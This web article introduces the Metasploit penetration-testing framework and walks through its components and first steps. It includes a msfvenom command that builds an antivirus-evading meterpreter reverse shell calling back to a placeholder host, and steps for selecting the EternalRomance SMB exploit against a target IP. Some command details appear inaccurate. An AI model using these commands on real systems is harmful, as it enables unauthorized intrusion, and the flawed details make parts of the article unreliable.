Metasploit provides a comprehensive framework for developing, testing, and executing attacks on sensitive systems, making it an essential tool for any enterprise.
Rapid7’s Metasploit is an effective penetration testing tool for discovering and exploiting vulnerabilities in target systems.
This article will help you comprehend the Metasploit program and its capabilities, whether you’re a newbie or an experienced professional.
Take a walk with us into the world of Metasploit.
Which of the following Metasploit framework tool can be used to bypass antivirus?
The msfvenom tool in the Metasploit Framework is often used to generate payloads capable of bypassing antivirus protection. It helps you to create and encode payloads, making it more difficult for antivirus programs to detect dangerous files.
Here’s how msfvenom assists with antivirus evasion:
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Custom Payload Encoding:
msfvenom supports a variety of encoding methods that disguise payloads, making them less identifiable to signature-based antivirus systems.
Example: Using shikata_ga_nai or other encoders.
bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -e x86/shikata_ga_nai -i <iterations> -f exe > payload.exe
Penetration Testing Using Metasploit
Metasploit is a penetration testing framework that allows you to identify and exploit system vulnerabilities. It includes everything you need, from scanners to third-party integrations, for the whole penetration testing lifecycle.
This covers reconnaissance, scanning, exploitation, privilege escalation, and access management.
Metasploit is an open-source framework built in Ruby. It is designed to be an extendable framework, allowing you to easily develop custom features with Ruby via plugins.
Rapid7, the company behind Metasploit, provides a premium version with extra functionality.
Metasploit is also routinely updated to reflect new vulnerabilities reported in the Common Vulnerabilities and Exposures (CVE). So, if a new vulnerability is discovered and disclosed, you can begin scanning your systems right away.
Metasploit includes built-in anti-forensic and evasion techniques. It is also preinstalled with the Kali operating system.
Components
Now that you understand what Metasploit is, let’s have a look at its key ideas.
Metasploit provides a few critical components for detecting and exploiting network vulnerabilities. This comprises exploits, payloads, auxiliary functions, and so on. Let’s look at each one in depth.
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Exploits
An exploit is a piece of code that takes advantage of a system flaw. These exploits take unique steps depending on how severe the vulnerability is.
Metasploit provides some exploits based on existing vulnerabilities in the target system. These exploits can be categorized into two categories:
Active Exploits: Active exploits execute on a target system, exploit it, grant you access to or complete a specific activity, and then quit.
Passive Exploits: Passive exploits wait for the target system to connect to the exploit. Hackers frequently utilize this strategy when requesting that you download files or software from the Internet. When you do, you connect to a passive exploit operating on the hacker’s PC.
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Payloads
A payload is a piece of code that executes during the exploit. You utilize exploits to get access to a system and payloads to carry out certain tasks.
For example, you may employ a keylogger as a payload in conjunction with an attack. Once the exploit is successful, the keylogger will be installed on the target’s PC.
Metasploit provides a good selection of payloads, like reverse shells, bind shells, Meterpreter, and so on.
There are a few payloads that work with the majority of exploits; however, finding the proper payload requires some investigation.
Once you’ve decided on an exploit, use the Metasploit’s’show payloads’ command to see which payloads will work with it.
There are several sorts of payloads in Metasploit. These three varieties will be the most commonly used:
- Singles: self-contained payloads, such as keyloggers.
- Stagers: Stagers are payloads that interact with one another, such as two payloads, one to connect to the target and the other to execute an instruction.
- Meterpreter: Advanced payload that lives in the target’s memory, is difficult to trace, and can load and unload plugins at a whim. Meterpreter will be discussed in further detail in the section that follows.
Auxiliaries
Auxiliary modules allow you to do bespoke functions other than abusing a system. This contains port scanners, fuzzers, sniffers, and others.
For example, you may use the CERT auxiliary to look for expired SSL certificates on a network. This enables system administrators to automate certificate management.
If you’re familiar with Ruby, you can create your auxiliaries. If you wish to scan a network for certain vulnerabilities once a week, you can create your unique auxiliary module.
You may then use it to scan your network rather than an existing scanner such as Nmap.
Tools
Now that you understand how Metasploit works, let’s look at the tools it provides.
msfconsole
MsfConsole is Metasploit’s default interface. It provides all of the commands you need to interface with the Metasploit framework.
It takes some time to become familiar with the CLI, but once you do, it is simple to use. Furthermore, it is the only way to access all of the features of Metasploit.
MsfConsole additionally provides tab completion for common commands. Familiarizing yourself with the MsfConsole is a vital step towards becoming a Metasploit professional.
msfdb
If you operate with massive networks regularly, you’ll probably need a place to store your data. This contains scan results, login information, and so on.
Metasploit provides a database administration tool named msfdb. msfdb runs on top of a PostgreSQL database and provides a set of handy commands for importing and exporting your results.
It allows you to import scan data from external programs such as Nmap and Nessus. Metasploit also includes a native db_nmap command, which allows you to scan and import results from Nmap within the msfconsole.
MsfVenom
Finally, there’s msfvenom, it allows you to create bespoke payloads based on your target.
Using an antivirus or firewall can make a target system more secure. Existing Metasploit payloads may not function in those circumstances since they are broad and apply to all systems that fall under an operating system or service.
msfvenom was created by integrating Metsploit’s previous tools, msfpayload and msfencode. It enables you to generate and encode bespoke payloads for your exploits.
Based on the additional knowledge you have about the target, you can create your own payloads to increase your success rate during your penetration test.
Meterpreter
Meterpreter is Metasploit’s sophisticated payload. Meterpreter, unlike other payloads that perform a specified job, is dynamic and scriptable on the fly.
If you can exploit a system and inject Meterpreter as the payload, you can do some of the following:
- Set up encrypted communication between your system and the target.
- Extract password hashes from the target system.
- Search for files in the target’s filesystem.
Armitage
Armitage is Metasploit’s graphical user interface written in Java. Armitage is widely regarded as an excellent addition for pen-testers who are familiar with the command-line interface.
The primary function of Armitage is to display targets and recommend exploits. It is also scriptable, allowing you to automate duplicate operations such as host finding.
It is particularly handy for working with a large number of systems in a network. Armitage’s GUI allows you to escalate privileges, view files, and dump password hashes.
How to Get Metasploit Work
Ready to use the MSF in your penetration tests? Here’s a step-by-step tutorial on how to begin utilizing this popular application.
Step 1: Download and Install Metasploit
The Metasploit Framework is compatible with a variety of systems, including Windows and macOS. msfconsole is preinstalled on many security-oriented Linux distributions, including Parrot Security and Kali Linux.
Step 2: Launch Metasploit
After installation, open your preferred terminal and type msfconsole. When we run the msfconsole, it displays the MSF splash art and a command-line prompt, waiting for our first command.
Step 3: update the database
Metasploit has a large catalog of exploits and vulnerabilities. To maximize the value of this database, it must be kept up to date. Use the “db update” command to ensure you have the most recent database version.
Step 4: Select a module
As previously established, modules are the Metasploit Framework’s basic components. To find modules for scanning or exploiting networks, look in the following directory:
/path/to/metasploit/apps/pro/msf3/modules
To locate a specific exploit, use the “search” command. For example, to identify an exploit targeting the “SMB” protocol, enter “search smb”.
Once you’ve found the exploit you’re looking for, use the “use” command to pick it. For example, to run the “eternalromance” exploit, enter use exploit/windows/smb/MS17-010_eternalromance.
Step 5: Set the target
Enter the IP address of the target machine you wish to test. Set the target with the “set” command. For example, if the host’s IP address is 192.168.1.100, enter “set RHOST 192.168.1.100.”
Don’t forget to use the “show targets” command to ensure that your module is compatible with the target system.
GitHub: https://github.com/rapid7/metasploitable3.
Now that you’ve installed msfconsole, you may start using it. For extra practice, see HTB’s modules on Getting Started (with Pentesting), Using the Metasploit Framework, and Shells & Payloads.
Metasploit Usage
The primary goal of Metasploit is to allow users to detect, exploit, and repair vulnerabilities in the target system.
The framework includes numerous precompiled exploits, auxiliary payloads, and modules that may be used to simulate attacks and evaluate system and application security.
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Conduct Penetration Testing
Penetration testing is a method of assessing system security by simulating attacks and attempting to exploit vulnerabilities.
Metasploit provides a comprehensive set of tools and modules for performing penetration tests on a wide range of systems and applications.
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Detect vulnerabilities
Metasploit can find vulnerabilities in target systems and applications. The framework includes a large library of preconfigured and guided exploit modules for scanning the network, fingerprinting systems, and gathering information on potential vulnerabilities.
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Develop Exploits
Custom exploits can be created using the Metasploit program, which is designed to exploit specific vulnerabilities.
The framework has a robust scripting language that allows users to create and connect exploits; they can also use an extension API.
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Test and Evaluate Security Controls
Metasploit can be used to test the effectiveness of a variety of security systems, including firewalls, intrusion detection systems, and antivirus software.
The framework includes several tools and modules for assessing the effectiveness of safety regulations and discovering exploitable vulnerabilities. In addition to standard functionality, Metasploit provides users with a variety of additional features, such as reporting and collaboration tools that allow them to share results, track their progress, and work on test projects.
Metasploit is a robust and adaptable architecture that includes a diverse set of tools and modules for penetration testing, vulnerability assessments, and building exploitation.
Conclusion
In conclusion, it is a versatile and robust tool for doing penetration testing or vulnerability assessments that is gaining popularity in the cybersecurity field.
This will give businesses a critical tool for assessing their security posture by providing a comprehensive framework for planning and carrying out attacks on vulnerable systems.
Metasploit should be managed alongside other security tools and used with caution to prevent the possibility of unexpected consequences.
Overall, Metasploit is a must-have tool for any organization looking to strengthen its security posture and defend itself against cyber threats.
By being familiar with Metasploit’s capabilities and limits, security professionals may successfully find and mitigate vulnerabilities in networks and systems.